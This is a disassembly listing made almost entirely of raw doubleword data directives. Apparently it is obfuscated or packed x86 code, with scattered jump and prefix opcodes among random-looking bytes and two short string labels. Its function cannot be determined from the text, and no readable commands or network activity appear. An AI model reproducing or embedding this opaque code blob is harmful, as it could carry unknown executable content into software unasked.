		dd 96430000h, 0C678281h, 0BD4FEF7Fh, 0EE6784F0h, 0B0889AF3h
		dd 5ADE8ADEh, 11E9F8h, 0C6680000h, 420B045Eh, 0E29EB7B2h
		dd 0EC583849h, 0E995A127h, 12h,	0EE46F9E4h, 0A25EBC9Ch
		dd 38BB5662h, 6DD7FCCAh, 0F98BED29h, 1FE7E681h,	0FA8A3B94h
		dd 7E9h, 20A19800h, 1CB91509h, 80DED380h, 8E821DAh, 0A000000h
		dd 0EF3E478Fh, 0E96005D4h, 0Bh,	40732A63h, 0C5A962A7h
		dd 5B853EBDh, 5E960h, 87C70000h, 81987A8Fh, 0DBA987E7h
		dd 0D98B612Ah, 0FF8C18Bh, 82h, 1800F00h, 0F5000000h, 326BF681h
		dd 81661765h, 573B90F2h, 0A535CB81h, 665B6907h,	0CC80C38Bh
		dd 1820F41h, 0F9000000h, 13E9h,	3F848800h, 0FD39173Eh
		dd 610D6223h, 7A801F1Ah, 367F9D93h, 10E9h, 0D7DFD00h, 5748EFA2h
		dd 85E7DA3Bh, 95CA4382h, 6890F0Dh, 81000000h, 0F7981FD3h
		dd 19810F18h, 0E9000000h, 14h, 1E27839Dh, 10620C9Ch, 63B7AD8Ah
		dd 6381D9B5h, 2CFB531Fh, 0D881F8F5h, 4203CF87h,	9E9F8h
		dd 477F0000h, 0C97CC52Eh, 0E973C413h, 7, 0C78155CEh, 514815FEh
		dd 0BE665BF9h, 0CE81470Ch, 7F98678Fh, 0F0ED580h, 18Bh
		dd 0C880F500h, 4EE28177h, 0BE4485CDh, 168F473Ah, 5BE28A50h
		dd 41BF6660h, 8E923h, 585C0000h, 0F3CBBD80h, 0F6192E1h
		dd 288h, 66F28B00h, 9529F681h, 0B2F78060h, 13E861h, 0ED60000h
		dd 891D649Bh, 0E2E4E5Ah, 0EF83A523h, 9D9A56C3h,	0F0B70FE0h
		dd 0F98B665Ah, 0FE9h, 0F704FA00h, 0B427A99h, 0C8DEC450h
		dd 0FF2F158Fh, 42F08166h, 0CE9B4h, 641C0000h, 8D4F48Ch
		dd 1BC4FB6Bh, 0DA8A74A4h, 34E68166h, 0C28B66F1h, 820Fh
		dd 0B70F0000h, 88A0FD3h, 0F000000h, 284h, 50616000h, 58FEB70Fh
		dd 8B6678B7h, 0FE8F1h, 0CCBC0000h, 5951A077h, 5909A6Bh
		dd 0B1D6BBD4h, 7E8ACh, 49C90000h, 0C01C33D5h, 0BFEB8138h
		dd 590FC6A3h, 5BFC505Eh, 0EE81EC8Ah, 63D52064h,	0A7B1C18Bh
		dd 0E1B360F9h, 8BEB8A60h, 536161CFh, 0EE9h, 35496900h
		dd 26C94935h, 0A01AC8E3h, 5E31C79Ah, 0FCCEB70Fh, 11E9A5B5h
		dd 59000000h, 0F8769D68h, 1150FE88h, 548BE7C0h,	6ECAB287h
		dd 98F0Fh, 810F0000h, 3, 0F8FBBF0Fh, 14E9h, 0A5814300h
		dd 4ADD949h, 0E702CF90h, 231298BDh, 0B2ED3F49h,	0F1C98168h
		dd 0E933D58Dh, 14h, 303E6E56h, 31FDE7C2h, 0EC486ED8h, 7CE7DB37h
		dd 6A85BF93h, 0F1B70F60h, 0AC4079B8h, 1AB9610Eh, 0E9511C23h
		dd 14h,	0D9F92145h, 0AA246ABDh,	0D97B447Dh, 0B1E9FFDFh
		dd 3AD8ED5Dh, 0FBE68166h, 6DE68114h, 0F74D2A3h,	383h, 0DF8B6600h
		dd 8268EF81h, 0FE86072h, 0FE000000h, 0FF7DE742h, 30A050E7h
		dd 43A2D974h, 0F08B532Ah, 10E959h, 0DC3C0000h, 9005C44Dh
		dd 86962E86h, 199A0A44h, 0B70FB255h, 5ED881CEh,	0F2893B7h
		dd 0C80h, 6840F00h, 0F000000h, 86h, 0C4BB6600h,	56A3B8E6h
		dd 8B604158h, 11E961D8h, 0E1000000h, 0F3E92115h, 83C4231Fh
		dd 7A625EFCh, 145F26FDh, 0DE9h,	578F9A00h, 0D10C8178h
		dd 594367DFh, 8C0F11A5h, 0
		dd 0F8F28B66h, 0BE9h, 0F91B2700h, 6AE03203h, 5D8436E9h
		dd 0B9D1BF0Fh, 447A922h, 0B56ED381h, 0DE8B6884h, 985ABB66h
		dd 81C1BF0Fh, 0F72A2CE1h, 0CE816644h, 66F952D0h, 0F07A1BAh
		dd 486h, 17B45200h, 0C38B665Fh,	0D7B70F50h, 13E95Ah, 0D2CA0000h
		dd 0B0877283h, 33D792A7h, 0DB3AE906h, 0D31268D8h, 4820FEDh
		dd 66000000h, 0F2B8AB8h, 382h, 0DEBF0F00h, 79E28166h, 0EE99Ch
		dd 0B1F90000h, 93AC74Dh, 0F10E4C8Fh, 0A853FEDDh, 10E9h
		dd 0A1CBDB00h, 738C7191h, 8689F182h, 0D7710A05h, 13E988h
		dd 10E40000h, 0C0C7033Ch, 5E05927Dh, 97CFCB09h,	0A6A9A5A1h
		dd 50E5B131h, 0DE8h, 851EEE00h,	97690F83h, 9A618DCBh, 5E5E5DCEh
		dd 640BB966h, 0A547BA66h, 0FC2BF0Fh, 486h, 0F78B5600h
		dd 6E959h, 27C00000h, 94E74335h, 7FB5D381h, 14E8679Ah
		dd 31000000h, 0E075D33Ah, 5B156357h, 104DF05Ch,	2355C02Fh
		dd 5166D47Ah, 43E1EF81h, 59586A11h, 0C181F860h,	53158DEDh
		dd 81605761h, 894ACAC0h, 5E903h, 5A540000h, 61B0842Bh
		dd 0DBC2805Ah, 11880F56h, 0E9000000h, 0Ch, 0D50A814Eh
		dd 4BF756F6h, 0C71332DCh, 0AE9FC59h, 82000000h,	2C1391B3h
		dd 0D1F33B1Eh, 0A5B866F4h, 9820FAAh, 60000000h,	0B34DD8B9h
		dd 61616072h, 0FCD3BF0Fh, 9E7FB8B9h, 5BB85606h,	596A3598h
		dd 0B9D88B66h, 71777B4Eh, 81D98B60h, 5739D5E2h,	0FFC6128h
		dd 83h,	0ECB8F500h, 0F850033Dh,	52F28B66h, 5E5B5651h, 9E8565Ah
		dd 5E000000h, 31F0B0FAh, 8866E7F5h, 5B595B56h, 0C1DAB966h
		dd 0BE9h, 5751F600h, 5A35CC5Ah,	0EA0EB722h, 66C28B66h
		dd 5A13D381h, 38E0Fh, 8B660000h, 0F4B966D1h, 8A0FF571h
		dd 0Bh,	5860Fh,	81660000h, 0E9AE65D0h, 0Ah, 0C4E16D5Fh
		dd 7E474F19h, 8E915C7h,	6E000000h, 0F6961EA1h, 0E89DF891h
		dd 0Ah,	21276C42h, 9D9627CBh, 0B25A3284h, 0E28166A2h, 860F0F15h
		dd 0Bh,	5820Fh,	14BA0000h, 6009C7CCh, 0F03DF80h, 68Bh
		dd 800F00h, 61000000h, 0E9DEB70Fh, 9, 84894FFBh, 0C64472EEh
		dd 18A0F72h, 0F9000000h, 0DF8B6660h, 61C88B66h,	0E4D1D281h
		dd 0BF0F556Ah, 0F1BF0FD9h, 9E9h, 5EAE9100h, 9C2DEBFCh
		dd 11E926A5h, 65000000h, 0CF3DA62Dh, 0DDCFCC9h,	505037ABh
		dd 0C4689A53h, 52F28B66h, 2830Fh, 0C88B0000h, 1880F5Ah
		dd 0FC000000h, 14E9h, 8377300h,	6B20B14h, 75F0340Ah, 13FBF88Fh
		dd 355DC9FEh, 19BE66E1h, 817AB596h, 955244C0h, 84D3815Bh
		dd 0F55ACF0h, 288h, 0E9CA8B00h,	13h, 0B240F87Eh, 3013B5BDh
		dd 7177F341h, 0FBD541BAh, 0E905081Eh, 12h, 0EFACF9DAh
		dd 414662B2h, 0F09B3AA9h, 0EF4595F2h, 0F18BCDB5h, 66DFBF0Fh
		dd 6652C18Bh, 0AA02EB81h, 0FA8B665Ah, 0FFEF8166h, 0C88B66A6h
		dd 8E9h, 6B131600h, 79B2C4A4h, 0CF8160DBh, 0E26BF48h, 8161C28Bh
		dd 0FC163CDAh, 0F78B6619h, 0B8CB8B66h, 0E4022E3h, 18B0Fh
		dd 81F80000h, 79F306D7h, 0E981665Fh, 0FB8BBB0Dh, 14E8h
		dd 0E06E6000h, 0F4819096h, 221AD20Bh, 66577F7h,	8F4B88BBh
		dd 0B4F4807Eh, 66C78B5Fh, 2D5EE681h, 3880Fh, 0C8800000h
		dd 0F38B66D2h, 58C0Fh, 9FBE0000h, 0F3D5B1Ch, 1981h, 12E95700h
		dd 1A000000h, 49DA3D93h, 5B4D1D40h, 78E75754h, 70913EB1h
		dd 0B70F5926h, 0B866F9CFh, 0E881F093h, 3964E121h, 0FCD18B66h
		dd 0EE9h, 7CF37800h, 0A2C9F7Fh,	0F8DFFC92h, 0E994E22Bh
		dd 0Ch,	0BFE451Ah, 0D1406D8Ch, 0A2567BABh, 94D9E281h, 31B217A2h
		dd 3ADA8166h, 81FA8A02h, 0B8AC7EC3h, 50CF8B3Bh,	0B85BE78Ah
		dd 115D1251h, 0BAF08B66h, 574AD3F9h, 0CE9h, 7D179200h
		dd 0BEF0172Fh, 0FA68F091h, 0F830F9Ah, 60000000h, 6E9DA8Bh
		dd 28000000h, 0D00D6B7Ah, 27B56139h, 0E9D78B66h, 11h, 0A598767Dh
		dd 274E452Ah, 0B20CCC23h, 0CAC4FC91h, 0DE940h, 19E10000h
		dd 295776C2h, 0E4F96257h, 66735845h, 830FF18Bh,	13h, 0D890Fh
		dd 8E90000h, 8C000000h,	79F76425h, 0FE91436h, 0B70FF1B7h
		dd 11E9C1h, 0AE010000h,	54FA3A4Eh, 0D8513194h, 7FDE250Eh
		dd 81EEC981h, 76EE1AE6h, 0D78B6647h, 5E05B860h,	810F61B3h
		dd 0
aArfbuyZs	db 'aRfYZ',8,0
		align 4
		dd 4A06F200h, 25ECD6ACh, 9E804h, 54D60000h, 0C3420220h
		dd 52E60E7Bh, 6E8h, 0C3634500h,	5A76A2AAh, 0CA815E5Ah
		dd 1248632Ch, 8E9h, 6CE9C000h, 0F06B9F14h, 6FBB66A2h, 0F3B70F0Dh
		dd 0F47CBA60h, 0D08B2A20h, 5672B261h, 0F5AEF8Ah, 1C8Ch
		dd 5E800h, 8E0A0000h, 0E9380EF5h, 0Ch, 2C16B27Bh, 5CAFC533h
		dd 24E79384h, 0D08B665Fh, 0CE9h, 0F6B1A000h, 2131840Ah
		dd 0F4825CADh, 0EE932h,	3780000h, 44D9FEA3h, 85C9B6A7h
		dd 9A5C2534h, 0EC414BAh, 0D881660Fh, 0BB66C34Ah, 81666FC5h
		dd 665015C8h, 8C0FCB8Bh, 0
aFlS		db 'f',0Dh,0
		align 4
		dd 0CC32D78Bh, 0FD56CC8Dh, 29FCE46Ah, 54BE66DEh, 0B4BB59C9h
		dd 81026208h, 6EE880D6h, 0D8C0F4Eh, 0E8000000h,	5, 0A3A5037Ah
		dd 59FB8B78h, 8957BF57h, 815B2259h, 871480E7h, 890F00h
		dd 0E9000000h, 10h, 0D19DE545h,	26BEFFFEh, 6153CD9Ah, 915FC920h
		dd 0FA5FB866h, 75CA8156h, 5F70050Dh, 0AE9h, 7F819D00h
		dd 9543C30Ah, 0FC212C4Ch, 0B55F51F5h, 0CE8B3h, 0EC5C0000h
		dd 0DBBA334Bh, 5079B958h, 66599202h, 11E9F98Bh,	0DA000000h
		dd 132B47F2h, 8E98F92Eh, 0E844CCDBh, 8CF9FA91h,	89A9BA66h
		dd 6E9F38Bh, 0E2000000h, 1B9D17B2h, 60CE8BFFh, 61CA8BFCh
		dd 13810Fh, 0EE90000h, 21000000h, 0BD592B05h, 0E8073EAh
		dd 4AC6CC9Dh, 0E9D68B6Ch, 0Dh, 14978CD5h, 0A2A64858h, 19C295Ah
		dd 0C28B663Eh, 0B86676B2h, 10E9802Bh, 60000000h, 0A8BBE64Ah
		dd 298D23F6h, 3D6C60CDh, 6663ACCDh, 0B9D589BAh,	36DE98CDh
		dd 0F825EB80h, 0FE9F8h,	242A0000h, 0D726056Ah, 0C23DCB67h
		dd 0D0D137B2h, 0B866F95Dh, 0BF662D4Ah, 8C0F9FFBh, 3, 0FD8BF0Fh
		dd 14E8F3BFh, 4E000000h, 84F5BC49h, 0AFEC00CAh,	179E521Dh
		dd 5BBE5A99h, 662012AFh, 0E85FC38Bh, 6,	0D03B45D9h, 0CDBE3E87h
		dd 5B42DBD8h, 68D0Fh, 0EA810000h, 21F1B2DFh, 7E9h, 0C0EC100h
		dd 2C355654h, 0E806C380h, 0Ah, 0FECB52D8h, 24419B31h, 0F5806BBh
		dd 585h, 7CD7B800h, 0F78B002Ah,	0BF0F3FB0h, 38BB66C0h
		dd 602BB2B8h, 38E0Fh, 0BF0F0000h, 1840FF3h, 0FC000000h
		dd 0F08B6661h, 8BF98B66h, 0DA8B66D6h, 14E9h, 8F46C800h
		dd 8CDC143h, 11E5416Ah,	3D263B83h, 0A4411B4Fh, 66D78BEAh
		dd 8036F7B9h, 0FE8B58DCh, 806016B5h, 0B3BA47E3h, 61204C73h
		dd 59506060h, 870Fh, 61610000h,	74C68166h, 0DE98Ah, 5EB10000h
		dd 0B2A8B1Dh, 0D4F147F8h, 0FBA1877h, 0F88AF2BFh, 0BF0FE8B4h
		dd 0C1BF0FCFh, 50D0B70Fh, 5940EC80h, 18A0F60h, 0F8000000h
		dd 0FE8h, 0F2F09B00h, 0B5EF4595h, 9ED34CDh, 0C1AE4AB8h
		dd 0BF0F615Bh, 0F851F5F0h, 0CEBF0F5Ah, 12E9h, 0EB04BE00h
		dd 6A1759F5h, 0E2B756B6h, 0E0A9D7A8h, 5081B57Bh, 5FC9BF0Fh
		dd 57DE8166h, 0B966FC04h, 0F7817A09h, 2208B071h, 7E9h
		dd 602C7D00h, 0BA8614D5h, 840F6060h, 0
		dd 830F61F8h, 14h, 0EE8h, 2E9A4100h, 36CBAA62h,	0C0DE8CC6h
		dd 5AB718EAh, 13E961h, 0C7380000h, 0EF1C1FFh, 0D37EBBFCh
		dd 0AE768BF9h, 648C7435h, 0BF0F573Ch, 66535FCFh, 5BDCEDB8h
		dd 14E9h, 84F19700h, 7EFFBE16h,	0EB56D24Fh, 0E895B7CFh
		dd 2047F138h, 0F781667Fh, 0F78A594Dh, 0DE8h, 7E2CF300h
		dd 0C2F4C5Eh, 0A2864C07h, 8A0FECFAh, 10h, 0BE9h, 2816D600h
		dd 4296C2F9h, 83C50F8Fh, 8880F59h, 56000000h, 8A0Fh, 0F5F0000h
		dd 0A87h, 0F88A6000h, 8C0Fh, 0E8610000h, 8, 0EBF52D3Ah
		dd 0A5486D64h, 605EB5B6h, 66CFB70Fh, 0FC61C38Bh, 8E860FCh
		dd 0CA000000h, 0EFD8E835h, 5080008Eh, 0B161585Bh, 10E937h
		dd 811A0000h, 1D9BED5Eh, 4DD6FF26h, 8F1F6F26h, 6E82702h
		dd 0A8000000h, 1C42C56Ch, 0C78B66C1h, 5AFC535Fh, 0E9C2BF0Fh
		dd 12h,	22137FE0h, 0C66B85F6h, 0B18197AFh, 6B4E41E5h, 0BE89B91h
		dd 2B000000h, 0D1AB17D0h, 9D3384FCh, 0BF0FD3DFh, 8B665FCFh
		dd 73E781F3h, 0FC50A503h, 3870Fh, 0BF0F0000h, 58CE80C8h
		dd 0F5E88153h, 5972D3E5h, 6685F080h, 809CC8BAh,	0FE9D1C3h
		dd 0E4000000h, 0D96755DCh, 9743A5E3h, 4B4F6DF5h, 8E0FBE94h
		dd 3, 66F98B66h, 60567BB9h, 870FDF8Bh, 2, 8061F78Bh, 0D88B1BD2h
		dd 6EEDF681h, 81664CEFh, 0E82071C2h, 5,	0D89E2DEDh, 5FFB8BD5h
		dd 2DDE8051h, 0FFA8B5Bh, 0FA8BF8B7h, 8AFBB70Fh,	0EE960FCh
		dd 5E000000h, 0E3136E25h, 0A1F4C767h, 23A1ADE4h, 0EA816166h
		dd 727BAEE6h, 0B834C480h, 50E6B34Ah, 0F3AF280h,	80h, 0F8E08100h
		dd 0F2B41DFh, 0C89h, 6880F00h, 81000000h, 82DB50D8h, 8E926h
		dd 86180000h, 0E75F6FE6h, 10BA6EF0h, 0E93A05D8h, 6, 0E9B68D7h
		dd 0BE6614C6h, 0F5BEC33Ah, 6623CF58h, 707DEB81h, 5E8h
		dd 0C5961F00h, 8166FBD4h, 5E5317DBh, 8C0Fh, 5E90000h, 6A000000h
		dd 1F8988D9h, 0B70FF38Bh, 0C8D0FD7h, 0E8000000h, 6, 25DC147Bh
		dd 56598534h, 5FCA8B66h, 0BF0FDE8Ah, 78C0FD2h, 60000000h
		dd 0B397E080h, 5B5161DFh, 66D0BF0Fh, 0E952ABB8h, 0Ah, 0D1BE308Ah
		dd 0FCFA1219h, 0B70FD667h, 8B6653CFh, 81665FC1h, 0E9FE8ADBh
		dd 0Dh,	52EFCCD4h, 41B4C048h, 0C660E70Fh, 8B0F5386h, 6
		dd 870Fh, 0E95A0000h, 9, 0BB1478D4h, 2D81FB16h,	91BBFC4Ah
		dd 0E96F9407h, 0Bh, 5F5EA3A3h, 33B286DCh, 0B638C9F3h, 0C7BF0F77h
		dd 0FE950h, 0F3790000h,	0B88AAD2Fh, 0EB0D9CD5h,	0C94CA05Ch
		dd 0DB8159C3h, 2C0B5A62h, 0B24BA2BEh, 7870F23h,	50000000h
		dd 0F4F68166h, 0B65359B5h, 840F5A9Ch, 5, 0BDEB7BEh, 58B2F50Bh
		dd 36B6F08Bh, 0B0F55FB2h, 93BB66D3h, 8E83Dh, 0CEB20000h
		dd 3BC38205h, 57568466h, 0F5E5E5Eh, 18Fh, 0DF8BF900h, 0E8C0Fh
		dd 9E90000h, 83000000h,	7429224Ch, 0B8FE20C0h, 0F8088ABAh
		dd 80BF662Ch, 0EE97Eh, 0DE840000h, 0C1E44508h, 0EC4CD568h
		dd 3ADDD55Bh, 66DE8B66h, 0E9FE6CBAh, 13h, 0F7CC3C0Bh, 60FDE4F1h
		dd 0A888A2BCh, 66115E5Dh, 8084A682h, 8F0FC3DEh,	4, 1047BE66h
		dd 7E8h, 7934F900h, 0DF359B45h,	525F70B1h, 18830F5Fh, 0E9000000h
		dd 13h,	0E0555742h, 0D1ADD477h,	40CE076Eh, 7E2CF328h, 812F4C5Eh
		dd 0EC992AF6h, 79BA667Ch, 0D3CA8191h, 663C64C8h, 0E81F69BFh
		dd 0Ah,	57188A0Dh, 0CB46FC4Bh, 9B8A562h, 5B42142Ch, 0DC5AC0BFh
		dd 0F1BE6637h, 0FED0811Ah, 806EE14Ch, 23BEE2E7h, 66519688h
		dd 8166FB8Bh, 0F977ACEh, 680h, 17D18100h, 0E83248B5h, 0Fh
		dd 6952360Fh, 3CD67CFCh, 844FC0E9h, 0B8DD7464h,	7B38B041h
		dd 0FC88B58h, 830FDBBFh, 1Bh, 13E8h, 74D2D500h,	64B98D33h
		dd 0CDE04B4Bh, 1A918831h, 82D6AA2Fh, 66596160h,	88B3C28Bh
		dd 58C0Fh, 81660000h, 0F8FF10D7h, 58C18B51h, 0AE9h, 0B0A6F600h
		dd 7F75608Ch, 0FC18BA9Eh, 8890Fh, 81520000h, 7D3A8DE6h
		dd 81665F3Ch, 811C8FCEh, 0A85D8EAh, 12E859h, 0B0710000h
		dd 21431E1h, 0C8DC49AEh, 901AD84Dh, 4BB70585h, 28E0F59h
		dd 8B000000h, 14E9C7h, 3AF70000h, 0B3940E59h, 0E660C7E3h
		dd 63DA751h, 52E92E43h,	0F608072h, 284h, 0E9CF8B00h, 11h
		dd 9C9BE62Ah, 2D126ADBh, 26DB581Dh, 225E3C5Dh, 81666153h
		dd 0FE2A0C2h, 9E8DABFh,	7A000000h, 24341E4Fh, 0C08DFCCh
		dd 7E960h, 92390000h, 286B9709h, 0C0B70FF4h, 81665961h
		dd 0FD642F7h, 1281h, 0DE900h, 0C8A00000h, 7E1DE3D1h, 293515DDh
		dd 8B6C3DC5h, 840FD7h, 66000000h, 12E8D08Bh, 97000000h
		dd 872E79BFh, 0C02062FCh, 5CD8DF1Ch, 929218DFh,	4FBE60D4h
		dd 0F7BF356h, 85h, 0F95E6100h, 13E9h, 40438000h, 82BEC357h
		dd 8592FD8Eh, 0FEEF888Fh, 23FC568Dh, 0B8DABF0Fh, 664A432Ch
		dd 0FCE68166h, 58EB817Eh, 8A4B9895h, 7E8EEh, 0E56B0000h
		dd 0C46238A3h, 59E68AE0h, 0E9CEB70Fh, 10h, 0A21FEC90h
		dd 0DB95D0D9h, 7782F18Dh, 48896B86h, 0CE9h, 0A6DA1800h
		dd 0C36A72ACh, 393AD7E3h, 0B76060FAh, 0CFB70F2Fh, 92BA6661h
		dd 870F61F2h, 9, 7CE88060h, 0CA45B866h,	0E9DE8B61h, 0Bh
		dd 0DA5E6486h, 37AAC6ACh, 81655D39h, 628C88D2h,	51D98B44h
		dd 5ED68B66h, 60D68B66h, 840F61F9h, 0Eh, 6E8h, 1180DC00h
		dd 60BF3290h, 0B70F5861h, 0EE860DFh, 0EF000000h, 0ED5B6489h
		dd 4D3EB516h, 0C3D68D7Eh, 0D2B70F2Fh, 0FCBA6658h, 0F08B61F2h
		dd 0F408D681h, 52F833C9h, 0AE9h, 0AE71E300h, 0CE88687Eh
		dd 5FBB9BA3h, 60FDD380h, 66E5DC80h, 61F729BAh, 4708B966h
		dd 56D78B66h, 0BE9h, 54C95700h,	0FB315E7Dh, 0ADB47C7Ah
		dd 3AF6805Eh, 4E1B43BAh, 8E9F548h, 0BF000000h, 989C6A85h
		dd 812466DBh, 3EAD9CD3h, 0B371B042h, 0C68B6640h, 66F0B70Fh
		dd 0CFFBC181h, 0B0D1B70Fh, 0EE8166CBh, 0BB66DB1Eh, 880F1BEDh
		dd 2, 0CB8ADFB0h, 0FFBBF0Fh, 282h, 0B6A9B500h, 80F5604Fh
		dd 8161FBD4h, 461AEE1h,	84C98013h, 5870Fh, 81660000h, 0E9E4C5E8h
		dd 7, 0BF9F881Fh, 80806A31h, 880FD0C4h,	13h, 0EE9h, 4BBB9700h
		dd 2727C2F0h, 0C0D932F2h, 66C20E5Fh, 0F681C18Bh, 3B538C8Bh
		dd 0AE9h, 1355B000h, 4E42CFD0h,	53BF6A26h, 1860Fh, 5BFC0000h
		dd 7983D081h, 0BF0F7F04h, 0E95951C2h, 9, 0E879E1E8h, 3D85388Ch
		dd 14E8ACh, 4B4A0000h, 3B4BF441h, 400760AEh, 617301EBh
		dd 2AE897C0h, 880F76CAh, 3, 5BFBF180h, 6E95256h, 0CD000000h
		dd 0BC0EB168h, 0F5E5F50h, 780h,	0D9BF6000h, 614F98EFh
		dd 8E8h, 17901C00h, 9EC6A86Bh, 0E1C68023h, 14E9535Fh, 0BB000000h
		dd 9F2AD753h, 4B155321h, 0E05A83BAh, 5C6137C2h,	5E41D136h
		dd 0CBBF0F60h, 0EE9h, 70CF6E00h, 53EC24D4h, 0C207E36h
		dd 61E6FEA6h, 8E64E681h, 0B3605963h, 2880FD4h, 60000000h
		dd 0CE86161h, 4000000h,	0AD7873C2h, 98A0E8EDh, 8B6D4F9Fh
		dd 0BF0F5FF8h, 0F96060C8h
		dd 9E8h, 0FDCEFA00h, 59CC3E52h,	615BBC18h, 0AE8h, 8D508A00h
		dd 3BB9AA08h, 5178C1D4h, 0F615A5Eh, 58Ah, 0F18B6000h, 0AE961FCh
		dd 87000000h, 8D3591FDh, 0F8CE8F1Bh, 0EE960B0h,	0F2000000h
		dd 0BDC11374h, 770932C2h, 7332FC37h, 0FDCB8168h, 612594AFh
		dd 78D88166h, 0C9D881EAh, 0B468CCE7h, 0AEE88044h, 15850Fh
		dd 10E90000h, 0A9000000h, 0C0C0D46Ch, 0CC3D65FCh, 1A995766h
		dd 66483CA7h, 0C378EA81h, 51FB8B66h, 2810Fh, 5E500000h
		dd 9CBE6658h, 1850FE3h,	0F8000000h, 11E9h, 98CD5100h, 27E80A02h
		dd 0AC7CD2ADh, 42CA7E00h, 8E8473Bh, 4000000h, 8B1488DEh
		dd 81E1F583h, 80BDDDEEh, 14E95B2Ah, 2000000h, 0D9098C67h
		dd 9D659CEDh, 77ACC51h,	0AA0AF49Ah, 0FCFAD7A3h,	0FF9BF0Fh
		dd 890FC6BFh, 3, 8BCA8B66h, 18A0FF0h, 0F9000000h, 10850Fh
		dd 0BE90000h, 0C4000000h, 0F9BF1714h, 0BE9F015Fh, 5E8C4C6h
		dd 49000000h, 59E9172Eh, 0BA59B2B1h, 6A56CACEh,	0FE953h
		dd 0D5FB0000h, 4E66957Dh, 8954E5C2h, 566FA763h,	80605BAEh
		dd 0EA8153E2h, 7C35C545h, 3850F61h, 0F000000h, 0F50C6BFh
		dd 0F5FCFB7h, 0EF81C1B7h, 5B4546F5h, 5E9h, 58A74600h, 0EE94165h
		dd 0BE000000h, 0B0416FC8h, 0A1EBA011h, 903B05B1h, 4CB9663Ch
		dd 8E867h, 10D80000h, 0D21EC580h, 0B70F1F8Fh, 666059D6h
		dd 60CB2BBFh, 850Fh, 81660000h,	61440FF0h, 38C0F61h, 0F000000h
		dd 830FFEBFh, 4, 5A5B5053h, 0D78DBF66h,	6830Fh,	0E2810000h
		dd 713B42F2h, 0EE8h, 5F32F00h, 2C61A7D5h, 0A8D5DC64h, 0E8E81A00h
		dd 12h,	66C33FBFh, 0A48DB49Ch, 0CCFDD8B6h, 77383EA6h, 5B5E179Ch
		dd 60F9B70Fh, 22D98060h, 0D4B96161h, 0F448F31h,	58Eh, 0C2816600h
		dd 0E860C0ADh, 0Eh, 398F9C8Fh, 9E7A0DC5h, 4C3C8B8Fh, 595356A5h
		dd 60D3805Eh, 0EDE68161h, 6670EFFCh, 0B46CDE81h, 66D7BF0Fh
		dd 9E97D081h, 0DE9h, 8F559400h,	78D56CD8h, 0BFC2182Fh
		dd 0BBB7513Ah, 38B0F51h, 0F000000h, 815AD1BFh, 0F99B5E2h
		dd 12F38146h, 8148D8EEh, 15E4F8EBh, 29CF8153h, 0F1E4BF0h
		dd 48Fh, 0CCBA6600h, 5E8C8h, 92690000h,	0E9343659h, 0Ah
		dd 93FD6935h, 0F927B4CEh, 60580FB7h, 810Fh, 8B660000h
		dd 816661F7h, 8B8439DBh, 95D7BAF1h, 0F18B768Ch,	0A7F9BF66h
		dd 66DF8B66h, 60204EBFh, 0E9D28150h, 5915C38Bh,	61C28B66h
		dd 0D68B6657h, 57FA8A5Ah, 69B86660h, 0D7BF6660h, 0BB5A61F7h
		dd 4B2C6E56h, 0D78B6657h, 0F5CC8A59h, 0B840Fh, 6E90000h
		dd 5D000000h, 42E3C0ADh, 2890F9Ah, 8B000000h, 12E9F8h
		dd 46E20000h, 80DA7AC1h, 4F8DA1AFh, 46EF406Bh, 0A0A40774h
		dd 0E8D28166h, 38F0FDCh, 66000000h, 810FC88Bh, 1, 5DBF51FCh
		dd 5E1972F5h, 6E9h, 69AC1300h, 0E990E586h, 8, 0CBD16008h
		dd 0BB7126F7h, 0EE9h, 22874400h, 0EF47EA2h, 2B4F4DC9h
		dd 0E9504BDBh, 0Eh, 5A69986Ah, 73BF51AEh, 775C70C7h, 0F580B7B0h
		dd 8E886h, 926F0000h, 889B722Fh, 8166E0ABh, 5919BDF3h
		dd 0BE9h, 3C753700h, 0CD1800B6h, 52D129D9h, 0BE9h, 56342000h
		dd 0ED952AD5h, 8665F7A0h, 3820Fh, 8B660000h, 0C78A50CFh
		dd 0D18B665Fh, 53D28166h, 0E9606062h, 0Fh, 1B9CDBBEh, 7C4062DCh
		dd 7DF1AEBAh, 0F0BE099h, 6161DABFh, 544CF181h, 0F5565267h
		dd 9E85Fh, 86A60000h, 3C862D4h,	0E84E99F3h, 8, 99055F9Dh
		dd 511DFC18h, 5EA1DF80h, 8B66F55Bh, 64F180F0h, 43C1BF66h
		dd 0A2D78153h, 5B44C51Ah, 66F56060h, 614675B9h,	0FCCB8166h
		dd 6656617Fh, 665BF98Bh, 663F0EBEh, 0B866F98Bh,	11E9B534h
		dd 0B000000h, 0CFAE309Ah, 9AA37FB0h, 40D14718h,	0AE3FF4D5h
		dd 0BF0F3FB2h, 0F1E681FAh, 0FC32C847h, 0C3806060h, 6E861F5h
		dd 19000000h, 742F04F2h, 4FACB9BEh, 615A173Eh, 7461C4B8h
		dd 0A3DD8045h, 68A0Fh, 0EF810000h, 71F4C4EDh, 0FFE8B66h
		dd 38Bh, 0D08B6600h, 0EE9CF2BFh, 13E963h, 5C70000h, 0E7AED871h
		dd 9F46D819h, 0F191216Dh, 990C497Eh, 0D6816631h, 8ABE883Dh
		dd 66474E6Fh, 60B6C0BAh, 11E9h,	51DA3500h, 60A15833h, 0D971B430h
		dd 0DA795305h, 0B70FE24Dh, 5E861C7h, 57000000h,	0FA16E893h
		dd 0EE9h, 0F568E100h, 0F2AC26B8h, 58317D19h, 5896F0BFh
		dd 6614DE80h, 0C380C38Bh, 2AE58022h, 5AA210BAh,	45E78153h
		dd 0BF208B60h, 3A08DE50h, 8E9F8h, 56180000h, 0AC80E1D1h
		dd 8E0FC844h, 0
		dd 820F60h, 81000000h, 0A7C882F0h, 8E9611Fh, 12000000h
		dd 0D1996C7Ch, 60B53C22h, 5880Fh, 81660000h, 66B31BF0h
		dd 6661CF8Bh, 51D9C781h, 4830Fh, 0BB660000h, 8B6640B4h
		dd 98C181F7h, 66135C32h, 667C6ABFh, 0E9746BB9h,	8, 0E9D5DFCFh
		dd 614CD86Fh, 58C0Fh, 0E8BE0000h, 6632DB5Dh, 6057F78Bh
		dd 80F7BF0Fh, 5A61F2F3h, 0FF8BF0Fh, 0C380D9BFh,	8E9C3h
		dd 0B30B0000h, 0EF6CCAC8h, 0E9F80AF2h, 0Dh, 637D83D3h
		dd 0A93B9CFBh, 0C0C0D46Ch, 0B1DF8BFCh, 0FCDA81E5h, 6060009Eh
		dd 80F18060h, 880Fh, 0E9610000h, 10h, 0F671BA5h, 3DFC382Dh
		dd 94ED015Dh, 0D729D728h, 6EBF6661h, 8024B6E8h,	13E92AC5h
